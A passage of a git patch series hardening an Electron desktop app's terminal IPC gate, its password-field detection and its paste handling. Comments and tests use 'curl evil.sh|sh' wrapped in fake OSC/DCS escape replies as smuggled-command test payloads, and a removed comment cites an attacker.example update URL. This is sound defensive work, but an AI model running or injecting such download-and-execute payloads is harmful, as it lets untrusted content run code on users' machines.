RELEASE_ASSET_ORIGIN's own doc, the per-operation rationale repeated onto AUTH_GRACE_MS, a PTY TSDoc enumerating what the inline labels already label, and two lines inside one comment block that repeated each other. Kept deliberately, and judged rather than skipped: the MITIGATION and RESIDUAL notes, the String(fn) serialization contract in page-functions.ts's header, the 0x04/0x0f reasoning for running the allowlist the other way, the NTP-step and double-callback notes, and the test comments explaining why a fixture is shaped as it is. Those record decisions, which is what this repo comments. --- .../src/main/browser-agent/page-functions.ts | 10 ----- .../desktop/src/main/browser-agent/session.ts | 12 ++---- .../src/main/browser-credentials/os-auth.ts | 4 -- apps/desktop/src/main/ipc.ts | 38 ++++++------------- apps/desktop/src/main/terminal/index.ts | 2 +- apps/desktop/src/main/updater.ts | 7 ---- apps/desktop/src/preload/browser/index.ts | 10 ++--- apps/sim/app/api/tools/onepassword/utils.ts | 2 - .../security/input-validation.server.test.ts | 3 -- .../core/security/input-validation.server.ts | 5 --- apps/sim/lib/mcp/domain-check.ts | 3 -- 11 files changed, 20 insertions(+), 76 deletions(-) diff --git a/apps/desktop/src/main/browser-agent/page-functions.ts b/apps/desktop/src/main/browser-agent/page-functions.ts index ab1df3888ce..785dcb5a5c1 100644 --- a/apps/desktop/src/main/browser-agent/page-functions.ts +++ b/apps/desktop/src/main/browser-agent/page-functions.ts @@ -303,7 +303,6 @@ export function clickElement(id: number): unknown { const isSecretField = (node: Element | null): boolean => { if (!node || node.tagName !== 'INPUT') return false if (String((node as HTMLInputElement).type || '').toLowerCase() === 'password') return true - // Token membership, not equality — see the module header. const hint = String(node.getAttribute('autocomplete') || '').toLowerCase() return hint .split(/\s+/) @@ -356,7 +355,6 @@ export function focusElementForTyping(id: number): unknown { const isSecretField = (node: Element | null): boolean => { if (!node || node.tagName !== 'INPUT') return false if (String((node as HTMLInputElement).type || '').toLowerCase() === 'password') return true - // Token membership, not equality — see the module header. const hint = String(node.getAttribute('autocomplete') || '').toLowerCase() return hint .split(/\s+/) @@ -410,7 +408,6 @@ export function readActiveElementState(): unknown { const isSecretField = (node: Element | null): boolean => { if (!node || node.tagName !== 'INPUT') return false if (String((node as HTMLInputElement).type || '').toLowerCase() === 'password') return true - // Token membership, not equality — see the module header. const hint = String(node.getAttribute('autocomplete') || '').toLowerCase() return hint .split(/\s+/) @@ -531,7 +528,6 @@ export function activeElementSecrecy(): string { const isSecretField = (node: Element | null): boolean => { if (!node || node.tagName !== 'INPUT') return false if (String((node as HTMLInputElement).type || '').toLowerCase() === 'password') return true - // Token membership, not equality — see the module header. const hint = String(node.getAttribute('autocomplete') || '').toLowerCase() return hint .split(/\s+/) @@ -574,10 +570,6 @@ export function activeElementSecrecy(): string { // detector is `attachShadow` throwing, which is destructive. Narrowing this // needs the driver to stop trusting a page-derived signal, not a better // guess here. - // Declared inside the function: this is injected as source, so it cannot - // reference module scope, but a local is fine and keeps the list diffable. - // IFRAME/FRAME are here so the frame branch below, not this early return, - // classifies them. const FOCUSABLE_TAGS = [ 'INPUT', 'TEXTAREA', @@ -623,7 +615,6 @@ export function typeIntoElement(id: number, text: string, submit: boolean): unkn const isSecretField = (node: Element | null): boolean => { if (!node || node.tagName !== 'INPUT') return false if (String((node as HTMLInputElement).type || '').toLowerCase() === 'password') return true - // Token membership, not equality — see the module header. const hint = String(node.getAttribute('autocomplete') || '').toLowerCase() return hint .split(/\s+/) @@ -696,7 +687,6 @@ export function pressKeyOnPage( const isSecretField = (node: Element | null): boolean => { if (!node || node.tagName !== 'INPUT') return false if (String((node as HTMLInputElement).type || '').toLowerCase() === 'password') return true - // Token membership, not equality — see the module header. const hint = String(node.getAttribute('autocomplete') || '').toLowerCase() return hint .split(/\s+/) diff --git a/apps/desktop/src/main/browser-agent/session.ts b/apps/desktop/src/main/browser-agent/session.ts index 15cff4dff58..048eadcee91 100644 --- a/apps/desktop/src/main/browser-agent/session.ts +++ b/apps/desktop/src/main/browser-agent/session.ts @@ -306,15 +306,9 @@ function configureAgentPartition(ses: Session): void { // can't slip in that way. // // Subresources that come back readable or that execute get the resolving - // check too, cached per host: a literal-IP backstop alone let a public - // hostname with a private A record reach internal services, and a WebSocket - // to one is a cross-origin read primitive because internal servers commonly - // ignore Origin. Only images and fonts keep the cheap synchronous path — - // they are the high-volume types and are not readable cross-origin, leaving a - // load/error timing oracle as the accepted residual. The list is expressed as - // what is exempt rather than what is checked, so a resource type Chromium - // labels differently than expected fails safe into the checked path; see - // subresourceNeedsResolution. + // check too, cached per host; images and fonts keep the cheap synchronous + // path. See isBlockedSubresourceUrl and subresourceNeedsResolution for why + // each way round. ses.webRequest.onBeforeRequest((details, callback) => { // Answered exactly once, and never throwing. A throw inside the `then` // below would otherwise land in the `catch` and answer a second time, and diff --git a/apps/desktop/src/main/browser-credentials/os-auth.ts b/apps/desktop/src/main/browser-credentials/os-auth.ts index b1ae9170744..30e93d14680 100644 --- a/apps/desktop/src/main/browser-credentials/os-auth.ts +++ b/apps/desktop/src/main/browser-credentials/os-auth.ts @@ -12,10 +12,6 @@ const logger = createLogger('BrowserCredentialAuth') * their way to is typically still on screen — asking a second time to put that * same string on the clipboard is friction that buys nothing, and teaches * people to approve prompts without reading them. - * - * That reasoning is per-operation, which is why grants carry the one they were - * proven for. It justifies skipping a second prompt for the SAME operation, and - * nothing more: neither operation implies consent to the other's exposure. */ const AUTH_GRACE_MS = 30_000 diff --git a/apps/desktop/src/main/ipc.ts b/apps/desktop/src/main/ipc.ts index c52e22023ca..c8f4225e9e0 100644 --- a/apps/desktop/src/main/ipc.ts +++ b/apps/desktop/src/main/ipc.ts @@ -269,12 +269,11 @@ type ChannelSpec = | (ChannelSpecBase & { kind: 'send' /** - * Requires recent real OS input before a payload that would SUBMIT a - * command line (one containing a newline) is forwarded. Payload-scoped - * rather than channel-scoped because the same channel also carries + * Requires recent real OS input before a payload is forwarded. Payload- + * scoped rather than channel-scoped because the same channel also carries * terminal replies the PTY solicits, which arrive with no user input. */ - submitNeedsDeliberateInput?: boolean + payloadNeedsDeliberateInput?: boolean handler: (...args: unknown[]) => void }) @@ -324,12 +323,9 @@ function senderHasUserGesture(event: IpcMainEvent | IpcMainInvokeEvent): boolean } /** - * Replies the PTY solicits and the terminal must answer unprompted. - * - * DSR cursor position and device attributes (`CSI … R` / `CSI … c`), focus - * reports (`CSI I` / `CSI O`, mode 1004 — set by tmux and vim), X10 and SGR - * mouse reports, and DCS/OSC responses. All machine-generated and - * self-delimiting, which is what makes them safe to enumerate. + * Replies the PTY solicits and the terminal must answer unprompted. All + * machine-generated and self-delimiting, which is what makes them safe to + * enumerate. */ const PTY_REPLY_PATTERNS = [ /\u001b\[[0-9;?]*[Rc]/, // DSR cursor position, device attributes @@ -966,21 +962,9 @@ export function registerIpcHandlers(deps: IpcDeps): void { if (typeof terminalId !== 'string' || typeof data !== 'string') return deps.terminal.write(terminalId, data) }, - // Only a submit is gated, never the whole channel. - // - // This carries xterm.js's entire upstream stream, and much of it is not - // typing at all: the PTY solicits replies the terminal must answer - // unprompted — DSR cursor position (`CSI 6n`, which p10k/starship emit on - // every prompt), device attributes, focus reports (mode 1004, set by both - // tmux and vim), mouse reports. Requiring recent input for those would - // silently break the reply protocol and leave a program waiting forever - // for an answer it will never get. - // - // A raw write only becomes command execution on the trailing `\r`, so that - // is what needs a person behind it: an XSS'd or hostile origin must not - // reach `write(id, 'curl evil.sh|sh\r')`. Panel focus is deliberately not - // used — `terminal:focused` is a renderer-asserted claim the same attacker - // can set. + // An XSS'd or hostile origin must not reach `write(id, 'curl evil.sh|sh\r')`. + // Panel focus is deliberately not used — `terminal:focused` is a + // renderer-asserted claim the same attacker can set. // // MITIGATION, NOT CLOSURE. Text without a newline still reaches the shell's // line buffer, where the user's own next Enter submits it — visible on @@ -988,7 +972,7 @@ export function registerIpcHandlers(deps: IpcDeps): void { // the renderer surface entirely (main writing the keystrokes it already // observes) or the terminal in its own WebContents, neither of which is a // gate change. Tracked as follow-up. - submitNeedsDeliberateInput: true, + payloadNeedsDeliberateInput: true, }, 'terminal:resize': { kind: 'send', @@ -1107,7 +1091,7 @@ export function registerIpcHandlers(deps: IpcDeps): void { ipcMain.on(channel, (event, ...args) => { if (!senderAllowed(event, spec.gate) || !featureAllowed(spec.requires)) return if ( - spec.submitNeedsDeliberateInput && + spec.payloadNeedsDeliberateInput && needsDeliberateInputForWrite(args) && !hasRecentDeliberateInput(event.sender) ) { diff --git a/apps/desktop/src/main/terminal/index.ts b/apps/desktop/src/main/terminal/index.ts index 60aafd6bfe9..e0f4e81b383 100644 --- a/apps/desktop/src/main/terminal/index.ts +++ b/apps/desktop/src/main/terminal/index.ts @@ -841,7 +841,7 @@ export class TerminalService { handle.dispose() } else { // Still going, and nothing polls the status file again — `read` captures - // the pane instead. Without this the handle would go out of scope here. + // the pane instead. const pending = this.pendingRuns.get(terminal.terminalId) if (pending) pending.push(handle) else this.pendingRuns.set(terminal.terminalId, [handle]) diff --git a/apps/desktop/src/main/updater.ts b/apps/desktop/src/main/updater.ts index 8cdae76097d..711875cfdf6 100644 --- a/apps/desktop/src/main/updater.ts +++ b/apps/desktop/src/main/updater.ts @@ -462,13 +462,6 @@ export function initUpdater(deps: UpdaterDeps): UpdaterHandle { // whatever the configured origin served, so `smb://…/x.dmg` or a bare // `file:///…` would otherwise pass the suffix test and be advertised as // an available update. - // - // Constrained to the release host, not merely to https. The feed rewrites - // every entry to an absolute release-asset URL, so nothing - // legitimate is excluded — while scheme-only validation would still admit - // `https://attacker.example/Sim.dmg`, and the download dialog walks the - // user through installing whatever it hands to the browser. That is a - // worse outcome than the protocol-handler launch this guards against. const urls = Array.from( manifest.matchAll(/^\s*(?:-\s*)?url:\s*(\S+)\s*$/gm), (m) => m[1] diff --git a/apps/desktop/src/preload/browser/index.ts b/apps/desktop/src/preload/browser/index.ts index 520f9a254c3..d247e54215a 100644 --- a/apps/desktop/src/preload/browser/index.ts +++ b/apps/desktop/src/preload/browser/index.ts @@ -38,11 +38,6 @@ function isFillable(field: HTMLInputElement): boolean { return rect.width > 0 && rect.height > 0 } -/** - * Matches the same definition the agent guards use: a reveal toggle flips a - * password field to `type="text"` without making it any less secret, and the - * autocomplete token is the page's own declaration either way. - */ /** * The field's `autocomplete` tokens. * @@ -57,6 +52,11 @@ function autocompleteTokens(field: HTMLInputElement): string[] { .split(/\s+/) } +/** + * Matches the same definition the agent guards use: a reveal toggle flips a + * password field to `type="text"` without making it any less secret, and the + * autocomplete token is the page's own declaration either way. + */ function isPasswordField(field: HTMLInputElement): boolean { if (String(field.type || '').toLowerCase() === 'password') return true const tokens = autocompleteTokens(field) diff --git a/apps/sim/app/api/tools/onepassword/utils.ts b/apps/sim/app/api/tools/onepassword/utils.ts index 4f5fe7a692f..6cb15624357 100644 --- a/apps/sim/app/api/tools/onepassword/utils.ts +++ b/apps/sim/app/api/tools/onepassword/utils.ts @@ -326,8 +326,6 @@ export async function validateConnectServerUrl(serverUrl: string): Promise ({ mockResolve: vi.fn() })) vi.mock('@sim/security/dns', () => ({ resolveHostAddresses: mockResolve, - // Mirrors the real rule so a pin taken over a narrowed set behaves as it does - // in production; a stub returning addresses[0] would hide the divergence the - // preference exists for. preferIpv4: (addresses: string[]) => addresses.find((address) => address.includes('.')) ?? addresses[0], })) diff --git a/apps/sim/lib/core/security/input-validation.server.ts b/apps/sim/lib/core/security/input-validation.server.ts index 7653212d0dc..f95ab62ce26 100644 --- a/apps/sim/lib/core/security/input-validation.server.ts +++ b/apps/sim/lib/core/security/input-validation.server.ts @@ -66,11 +66,6 @@ export async function validateUrlWithDNS( const isLocalhost = cleanHostname === 'localhost' || isLoopbackIp(cleanHostname) try { - // Every address is judged, not just the pinned one: classifying a single - // address let a host publishing both a public and a private record through - // whenever the public one sorted first, which is record order rather than - // policy. - // // Refused records are filtered rather than failing the whole host, matching // createSsrfGuardedLookup below. Pinning to a surviving public address is // just as safe as refusing outright, and rejecting the host would break a diff --git a/apps/sim/lib/mcp/domain-check.ts b/apps/sim/lib/mcp/domain-check.ts index 805600edb8f..6a39f0a8aa2 100644 --- a/apps/sim/lib/mcp/domain-check.ts +++ b/apps/sim/lib/mcp/domain-check.ts @@ -186,9 +186,6 @@ export async function validateMcpServerSsrf(url: string | undefined): Promise Date: Wed, 29 Jul 2026 15:38:31 -0700 Subject: [PATCH 15/16] fix(desktop): stop a command riding inside a fake PTY reply, and fail closed in XHTML MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Both findings are in this PR's own hardening. The reply allowlist accepted a control byte in its body. DCS and OSC used `[\s\S]*?` interiors, so a hostile renderer could wrap a whole command and its submit inside a sequence shaped like a reply — `ESC ] 0;x CR curl evil.sh|sh CR BEL` — and be waved through as machine-generated, skipping the deliberate-input gate entirely and reopening the path the gate exists to close. Bodies are printable-only now: a real DCS or OSC reply carries text terminated by ST or BEL and never a control byte. X10 mouse is bounded the same way, since its three bytes are offset by 32 and a control byte there is never legitimate either. isSecretField compared tagName raw in all seven copies, and isSensitiveValueField in both of its. tagName is lower-case for HTML elements in an XHTML document, so every credential field there read as ordinary — the value redaction and the keystroke refusal both failed open, on exactly the pages the predicate exists for. The earlier round upper-cased the frame and focusability comparisons and missed these nine. Normalized now, with the rule stated once in the module header rather than nine times. Both are covered by tests that fail against the previous form: a smuggled command in each of the three affected patterns, a genuine reply of each still forwarded, and a lower-case-tagName password field refused for both typing and snapshot disclosure. --- .../main/browser-agent/page-functions.test.ts | 29 ++++++++++++++++ .../src/main/browser-agent/page-functions.ts | 27 ++++++++++----- apps/desktop/src/main/ipc.test.ts | 33 +++++++++++++++++++ apps/desktop/src/main/ipc.ts | 15 +++++++-- 4 files changed, 92 insertions(+), 12 deletions(-) diff --git a/apps/desktop/src/main/browser-agent/page-functions.test.ts b/apps/desktop/src/main/browser-agent/page-functions.test.ts index 55cd839c869..f90a7337b17 100644 --- a/apps/desktop/src/main/browser-agent/page-functions.test.ts +++ b/apps/desktop/src/main/browser-agent/page-functions.test.ts @@ -394,6 +394,35 @@ describe('readActiveElementState', () => { }) }) +describe('XHTML lower-case tagName', () => { + /** An element whose tagName reads lower-case, as it does in an XHTML document. */ + function lowerCaseTagInput(html: string): HTMLInputElement { + document.body.innerHTML = html + const input = document.querySelector('input') as HTMLInputElement + Object.defineProperty(input, 'tagName', { configurable: true, get: () => 'input' }) + return input + } + + it('still refuses a password field whose tagName is lower-case', () => { + const input = lowerCaseTagInput('') + register(visible(input)) + + expect(typeIntoElement(0, 'hunter2', false)).toEqual({ error: 'password' }) + expect(input.value).toBe('') + }) + + it('still withholds the value of a lower-case-tagName credential field', () => { + const input = lowerCaseTagInput( + '' + ) + visible(input) + + const outline = outlineOf(collectSnapshot()) + + expect(outline).not.toContain('hunter2') + }) +}) + describe('activeElementSecrecy', () => { it('reports safe for an ordinary field', () => { document.body.innerHTML = '' diff --git a/apps/desktop/src/main/browser-agent/page-functions.ts b/apps/desktop/src/main/browser-agent/page-functions.ts index 785dcb5a5c1..a0d99506286 100644 --- a/apps/desktop/src/main/browser-agent/page-functions.ts +++ b/apps/desktop/src/main/browser-agent/page-functions.ts @@ -17,6 +17,11 @@ * same-origin iframe belongs to that frame's realm, so `instanceof` against * the top frame's constructor returns false and would skip the check on * exactly the nested login forms that need it most. + * + * Every tag comparison here is upper-cased. `tagName` is lower-case for HTML + * elements in an XHTML document, and a raw compare there reports every + * credential field as ordinary — failing open on both the value redaction and + * the keystroke refusal that read it. */ declare global { @@ -99,7 +104,11 @@ export function collectSnapshot(): unknown { } const isSecretField = (el: Element | null): boolean => { - if (!el || el.tagName !== 'INPUT') return false + // Upper-cased: tagName is lower-case for HTML elements in an XHTML + // document, where a raw compare would report every credential field as + // ordinary — failing open on both the value redaction and the keystroke + // refusal that read this. + if (!el || String(el.tagName || '').toUpperCase() !== 'INPUT') return false if (String((el as HTMLInputElement).type || '').toLowerCase() === 'password') return true // A reveal toggle flips the field to type="text" without making its // contents any less secret, and some forms never use type="password" at @@ -124,7 +133,7 @@ export function collectSnapshot(): unknown { * work it is legitimately asked to do. Only the value is withheld here. */ const isSensitiveValueField = (el: Element | null): boolean => { - if (!el || el.tagName !== 'INPUT') return false + if (!el || String(el.tagName || '').toUpperCase() !== 'INPUT') return false const hint = String(el.getAttribute('autocomplete') || '').toLowerCase() return hint .split(/\s+/) @@ -301,7 +310,7 @@ export function collectSnapshot(): unknown { export function clickElement(id: number): unknown { const isSecretField = (node: Element | null): boolean => { - if (!node || node.tagName !== 'INPUT') return false + if (!node || String(node.tagName || '').toUpperCase() !== 'INPUT') return false if (String((node as HTMLInputElement).type || '').toLowerCase() === 'password') return true const hint = String(node.getAttribute('autocomplete') || '').toLowerCase() return hint @@ -353,7 +362,7 @@ export function clickElement(id: number): unknown { */ export function focusElementForTyping(id: number): unknown { const isSecretField = (node: Element | null): boolean => { - if (!node || node.tagName !== 'INPUT') return false + if (!node || String(node.tagName || '').toUpperCase() !== 'INPUT') return false if (String((node as HTMLInputElement).type || '').toLowerCase() === 'password') return true const hint = String(node.getAttribute('autocomplete') || '').toLowerCase() return hint @@ -406,7 +415,7 @@ export function focusElementForTyping(id: number): unknown { */ export function readActiveElementState(): unknown { const isSecretField = (node: Element | null): boolean => { - if (!node || node.tagName !== 'INPUT') return false + if (!node || String(node.tagName || '').toUpperCase() !== 'INPUT') return false if (String((node as HTMLInputElement).type || '').toLowerCase() === 'password') return true const hint = String(node.getAttribute('autocomplete') || '').toLowerCase() return hint @@ -416,7 +425,7 @@ export function readActiveElementState(): unknown { /** Sensitive-but-fillable fields; see collectSnapshot's copy for why. */ const isSensitiveValueField = (node: Element | null): boolean => { - if (!node || node.tagName !== 'INPUT') return false + if (!node || String(node.tagName || '').toUpperCase() !== 'INPUT') return false const hint = String(node.getAttribute('autocomplete') || '').toLowerCase() return hint .split(/\s+/) @@ -526,7 +535,7 @@ export function readActiveElementState(): unknown { */ export function activeElementSecrecy(): string { const isSecretField = (node: Element | null): boolean => { - if (!node || node.tagName !== 'INPUT') return false + if (!node || String(node.tagName || '').toUpperCase() !== 'INPUT') return false if (String((node as HTMLInputElement).type || '').toLowerCase() === 'password') return true const hint = String(node.getAttribute('autocomplete') || '').toLowerCase() return hint @@ -613,7 +622,7 @@ export function activeElementSecrecy(): string { export function typeIntoElement(id: number, text: string, submit: boolean): unknown { const isSecretField = (node: Element | null): boolean => { - if (!node || node.tagName !== 'INPUT') return false + if (!node || String(node.tagName || '').toUpperCase() !== 'INPUT') return false if (String((node as HTMLInputElement).type || '').toLowerCase() === 'password') return true const hint = String(node.getAttribute('autocomplete') || '').toLowerCase() return hint @@ -685,7 +694,7 @@ export function pressKeyOnPage( alt: boolean ): unknown { const isSecretField = (node: Element | null): boolean => { - if (!node || node.tagName !== 'INPUT') return false + if (!node || String(node.tagName || '').toUpperCase() !== 'INPUT') return false if (String((node as HTMLInputElement).type || '').toLowerCase() === 'password') return true const hint = String(node.getAttribute('autocomplete') || '').toLowerCase() return hint diff --git a/apps/desktop/src/main/ipc.test.ts b/apps/desktop/src/main/ipc.test.ts index 09ed95b692e..18f0e72a2f8 100644 --- a/apps/desktop/src/main/ipc.test.ts +++ b/apps/desktop/src/main/ipc.test.ts @@ -79,6 +79,8 @@ import { LocalFilesystemService } from '@/main/local-filesystem' import { TerminalService } from '@/main/terminal' const APP = 'https://sim.ai' +const ESC = '\u001b' +const BEL = '\u0007' type InputListener = (event: unknown, input: { type: string }) => void @@ -831,6 +833,37 @@ describe('registerIpcHandlers', () => { expect(write).toHaveBeenCalledTimes(replies.length) }) + it('gates a command smuggled inside a fake OSC or DCS reply', () => { + const { on } = collectHandlers() + const write = vi.spyOn(deps.terminal, 'write').mockImplementation(() => {}) + + // The reply patterns must not accept a control byte in their body. An + // unbounded interior let a whole command plus its submit ride inside a + // sequence shaped like a reply, which skipped the gate entirely. + const smuggled = [ + `${ESC}]0;x\rcurl evil.sh|sh\r${BEL}`, + `${ESC}Pcurl evil.sh|sh\r${ESC}\\`, + `${ESC}[M\r\r\r`, + ] + for (const payload of smuggled) { + on.get('terminal:write')?.(inactiveAppEvent, 't1', payload) + } + expect(write).not.toHaveBeenCalled() + }) + + it('still forwards a genuine OSC or DCS reply', () => { + const { on } = collectHandlers() + const write = vi.spyOn(deps.terminal, 'write').mockImplementation(() => {}) + + // Real bodies are printable and terminated by BEL or ST. + const replies = [`${ESC}]11;rgb:00/00/00${BEL}`, `${ESC}P1$r0m${ESC}\\`, `${ESC}[M !!`] + for (const reply of replies) { + on.get('terminal:write')?.(inactiveAppEvent, 't1', reply) + expect(write).toHaveBeenCalledWith('t1', reply) + } + expect(write).toHaveBeenCalledTimes(replies.length) + }) + it('gates every keystroke-shaped payload, not just newline-bearing ones', () => { const { on } = collectHandlers() const write = vi.spyOn(deps.terminal, 'write').mockImplementation(() => {}) diff --git a/apps/desktop/src/main/ipc.ts b/apps/desktop/src/main/ipc.ts index c8f4225e9e0..46fb89ee90a 100644 --- a/apps/desktop/src/main/ipc.ts +++ b/apps/desktop/src/main/ipc.ts @@ -326,14 +326,23 @@ function senderHasUserGesture(event: IpcMainEvent | IpcMainInvokeEvent): boolean * Replies the PTY solicits and the terminal must answer unprompted. All * machine-generated and self-delimiting, which is what makes them safe to * enumerate. + * + * Bodies are printable-only ({@link PTY_REPLY_BODY}), never `[\s\S]`. A real + * DCS or OSC reply carries text terminated by ST or BEL and never a control + * byte, so an unbounded interior would let a hostile renderer wrap a whole + * command and its submit inside a fake `ESC ] ... CR BEL` and be waved through + * as a reply, reopening the path this gate exists to close. X10 mouse is + * bounded the same way: its three bytes are offset by 32, so a control byte + * there is never legitimate either. */ +const PTY_REPLY_BODY = '[\\u0020-\\u00ff]' const PTY_REPLY_PATTERNS = [ /\u001b\[[0-9;?]*[Rc]/, // DSR cursor position, device attributes /\u001b\[[IO]/, // focus in/out (mode 1004) - /\u001b\[M[\s\S]{3}/, // X10 mouse report + new RegExp(`\\u001b\\[M${PTY_REPLY_BODY}{3}`), // X10 mouse report /\u001b\[<[0-9;]*[mM]/, // SGR mouse report - /\u001bP[\s\S]*?\u001b\\/, // DCS response - /\u001b\][\s\S]*?\u0007/, // OSC response + new RegExp(`\\u001bP${PTY_REPLY_BODY}*?\\u001b\\\\`), // DCS response + new RegExp(`\\u001b\\]${PTY_REPLY_BODY}*?(?:\\u0007|\\u001b\\\\)`), // OSC response ] const PTY_REPLY = new RegExp( `^(?:${PTY_REPLY_PATTERNS.map((pattern) => pattern.source).join('|')})+$` From 7712e09dd743bfa1917070c5178ece48dd7e8d6a Mon Sep 17 00:00:00 2001 From: Waleed Latif Date: Wed, 29 Jul 2026 16:07:45 -0700 Subject: [PATCH 16/16] fix(desktop): paste from main, and stop a reclaimed run dir printing into tmux MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Fixes the two behavioural regressions rather than shipping them documented. The context-menu paste could be silently dropped. It read the clipboard with `await navigator.clipboard.readText()` and then wrote the text, so the write landed after an await — and if that read outran the input-recency window (a permission prompt, a slow read) the terminal-write gate refused it with no error and no log, on an action the user had just asked for. Reading in main removes the window entirely, and is the direction Electron itself took: the `clipboard` module was removed from renderers under RFC 0019 so page content cannot reach the clipboard, and the documented pattern is to use it in the main process behind a narrow contextBridge method. So `terminal:paste` is a gated invoke channel that reads the clipboard itself. It needs a real gesture (the Paste click), but not the write gate — the bytes are the user's clipboard rather than the caller's, so a compromised renderer can only replay what was already copied instead of choosing it. `paste` is optional on the bridge and the renderer falls back to the old path, so a shell that predates it is unaffected. The tmux status write is silenced. Closing a terminal tab reclaims the run's temp dir while the command keeps going in tmux. `tee` is unaffected — POSIX lets it write on to the unlinked inode, and the space is reclaimed when it exits — but the command's trailing `printf > .../status` then failed into the pipeline and printed `No such file or directory` into the user's own tmux window, minutes after they closed the tab. `2>/dev/null` on that one redirect keeps the reclaim and drops the noise. --- apps/desktop/src/main/ipc.test.ts | 25 ++++++++++++++++++- apps/desktop/src/main/ipc.ts | 20 ++++++++++++++- apps/desktop/src/main/terminal/tmux.ts | 8 +++++- apps/desktop/src/preload/index.ts | 2 ++ apps/desktop/src/test/electron-mock.ts | 1 + .../terminal-session/terminal-session.tsx | 20 ++++++++++----- apps/sim/lib/terminal/transport.ts | 17 +++++++++++++ packages/desktop-bridge/src/index.ts | 13 ++++++++++ 8 files changed, 97 insertions(+), 9 deletions(-) diff --git a/apps/desktop/src/main/ipc.test.ts b/apps/desktop/src/main/ipc.test.ts index 18f0e72a2f8..bdc5c428dd6 100644 --- a/apps/desktop/src/main/ipc.test.ts +++ b/apps/desktop/src/main/ipc.test.ts @@ -59,7 +59,7 @@ vi.mock('@/main/browser-agent/registry', () => ({ })) import type { WebContents } from 'electron' -import { ipcMain, shell } from 'electron' +import { clipboard, ipcMain, shell } from 'electron' import { copyCredential, credentialsAvailable, @@ -833,6 +833,29 @@ describe('registerIpcHandlers', () => { expect(write).toHaveBeenCalledTimes(replies.length) }) + it('pastes the clipboard from main rather than taking bytes from the caller', async () => { + const { invoke } = collectHandlers() + const write = vi.spyOn(deps.terminal, 'write').mockImplementation(() => {}) + vi.mocked(clipboard.readText).mockReturnValue('echo hi') + + await expect(invoke.get('terminal:paste')?.(activeAppEvent, 't1')).resolves.toBe(true) + + expect(write).toHaveBeenCalledWith('t1', 'echo hi') + }) + + it('refuses a paste with no gesture behind it, and reports an empty clipboard', async () => { + const { invoke } = collectHandlers() + const write = vi.spyOn(deps.terminal, 'write').mockImplementation(() => {}) + vi.mocked(clipboard.readText).mockReturnValue('echo hi') + + expect(await invoke.get('terminal:paste')?.(inactiveAppEvent, 't1')).toBe(false) + expect(write).not.toHaveBeenCalled() + + vi.mocked(clipboard.readText).mockReturnValue('') + expect(await invoke.get('terminal:paste')?.(activeAppEvent, 't1')).toBe(false) + expect(write).not.toHaveBeenCalled() + }) + it('gates a command smuggled inside a fake OSC or DCS reply', () => { const { on } = collectHandlers() const write = vi.spyOn(deps.terminal, 'write').mockImplementation(() => {}) diff --git a/apps/desktop/src/main/ipc.ts b/apps/desktop/src/main/ipc.ts index 46fb89ee90a..8bfb816f0d9 100644 --- a/apps/desktop/src/main/ipc.ts +++ b/apps/desktop/src/main/ipc.ts @@ -17,7 +17,7 @@ import { } from '@sim/terminal-protocol' import { isRecordLike } from '@sim/utils/object' import type { BrowserWindow, IpcMainEvent, IpcMainInvokeEvent, WebContents } from 'electron' -import { ipcMain } from 'electron' +import { clipboard, ipcMain } from 'electron' import { clearBrowsingData, executeTool, @@ -921,6 +921,24 @@ export function registerIpcHandlers(deps: IpcDeps): void { handler: (sender, focused) => deps.terminal.setPanelFocused(focused === true, sender as WebContents), }, + 'terminal:paste': { + kind: 'invoke', + gate: 'app-origin', + requires: 'terminal', + denied: false, + // The bytes come from the clipboard here, not from the caller, so this + // does not need the write gate: a compromised renderer can only replay + // what the user already copied. It still needs a real gesture, because + // the legitimate caller is a Paste click or ⌘V. + needsUserActivation: true, + handler: (terminalId) => { + if (typeof terminalId !== 'string') return false + const text = clipboard.readText() + if (!text) return false + deps.terminal.write(terminalId, text) + return true + }, + }, 'terminal:scrollback': { kind: 'invoke', gate: 'app-origin', diff --git a/apps/desktop/src/main/terminal/tmux.ts b/apps/desktop/src/main/terminal/tmux.ts index de4b570ce97..e97f31df116 100644 --- a/apps/desktop/src/main/terminal/tmux.ts +++ b/apps/desktop/src/main/terminal/tmux.ts @@ -337,7 +337,13 @@ export async function startRun( // PIPESTATUS keeps the command's own exit code rather than tee's, which is // always 0. bash rather than the user's shell because PIPESTATUS is not // portable and this wrapper is ours, not something they have to read. - const script = `${command}\nprintf %s "\${PIPESTATUS[0]}" > ${JSON.stringify(statusPath)}` + // The status write is silenced because its directory may be gone by the time + // it runs: closing the terminal tab reclaims the run's temp dir while the + // command keeps going in tmux. `tee` is unaffected — POSIX lets it keep + // writing to the unlinked inode — but an unredirected `printf` would fail + // into the pipeline and print `No such file or directory` into the user's own + // tmux window, minutes after they closed the tab. + const script = `${command}\nprintf %s "\${PIPESTATUS[0]}" > ${JSON.stringify(statusPath)} 2>/dev/null` const wrapper = `bash -lc ${JSON.stringify(`{ ${script}; } 2>&1 | tee ${JSON.stringify(outPath)}`)}` const args = ['new-window', '-d', '-P', '-F', '#{window_id}', '-t', session, '-n', 'sim-run'] diff --git a/apps/desktop/src/preload/index.ts b/apps/desktop/src/preload/index.ts index 82bc2f79f55..9ed2eed55b3 100644 --- a/apps/desktop/src/preload/index.ts +++ b/apps/desktop/src/preload/index.ts @@ -303,6 +303,8 @@ const api: SimDesktopApi = { write: (terminalId: string, data: string): void => { ipcRenderer.send('terminal:write', terminalId, data) }, + paste: (terminalId: string): Promise => + ipcRenderer.invoke('terminal:paste', terminalId), resize: (terminalId: string, cols: number, rows: number): void => { ipcRenderer.send('terminal:resize', terminalId, cols, rows) }, diff --git a/apps/desktop/src/test/electron-mock.ts b/apps/desktop/src/test/electron-mock.ts index 385aba2910b..a27eb745022 100644 --- a/apps/desktop/src/test/electron-mock.ts +++ b/apps/desktop/src/test/electron-mock.ts @@ -53,6 +53,7 @@ export const safeStorage = { export const clipboard = { writeText: vi.fn(), + readText: vi.fn(() => ''), } export const nativeTheme = { diff --git a/apps/sim/app/workspace/[workspaceId]/home/components/mothership-view/components/resource-content/components/terminal-session/terminal-session.tsx b/apps/sim/app/workspace/[workspaceId]/home/components/mothership-view/components/resource-content/components/terminal-session/terminal-session.tsx index 689461c7e9d..ab63cfadad2 100644 --- a/apps/sim/app/workspace/[workspaceId]/home/components/mothership-view/components/resource-content/components/terminal-session/terminal-session.tsx +++ 